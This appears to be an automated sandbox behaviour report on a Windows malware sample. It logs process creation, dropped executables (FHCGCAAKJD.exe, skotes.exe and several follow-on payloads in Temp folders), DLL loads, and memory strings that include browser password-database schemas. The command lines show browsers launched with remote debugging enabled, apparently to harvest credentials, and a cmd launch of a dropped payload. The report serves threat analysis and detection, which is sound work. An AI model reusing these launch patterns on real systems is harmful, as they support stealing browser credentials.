Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6496:120:WilError_03

Source: C:\Users\user\Documents\FHCGCAAKJD.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631469520.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2644419130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631469520.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2644419130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631469520.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2644419130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631469520.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2644419130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631469520.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2644419130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2631469520.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2644419130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2631469520.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2644419130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2256292357.0000000005A09000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2398839132.00000000059FD000.00000004.00000020.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3229243154.00000000055C9000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3256728962.0000000005662000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3256728962.00000000055D5000.00000004.00000800.00020000.00000000.sdmp, 0eb65aaf2f.exe, 00000016.00000003.3228973303.00000000055E6000.00000004.00000800.00020000.00000000.sdmp, BGCBGCAFIIECBFIDHIJK.0.dr, IJKKKFCFHCFIECBGDHID.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2631469520.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2644419130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2631469520.0000000005B1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2644419130.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: FHCGCAAKJD.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=1984,i,16614534286300256734,1037011460224527743,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2156,i,937543281221703452,12637460150167344842,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1992,i,295519456222836343,140382832148699311,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FHCGCAAKJD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FHCGCAAKJD.exe "C:\Users\user\Documents\FHCGCAAKJD.exe"
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe "C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe"
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Process created: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe "C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe "C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe "C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe "C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe "C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FHCGCAAKJD.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=1984,i,16614534286300256734,1037011460224527743,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2260 --field-trial-handle=2156,i,937543281221703452,12637460150167344842,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1992,i,295519456222836343,140382832148699311,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FHCGCAAKJD.exe "C:\Users\user\Documents\FHCGCAAKJD.exe"	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe "C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe "C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe "C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe "C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe "C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe"
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Process created: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe "C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Section loaded: python3.dll
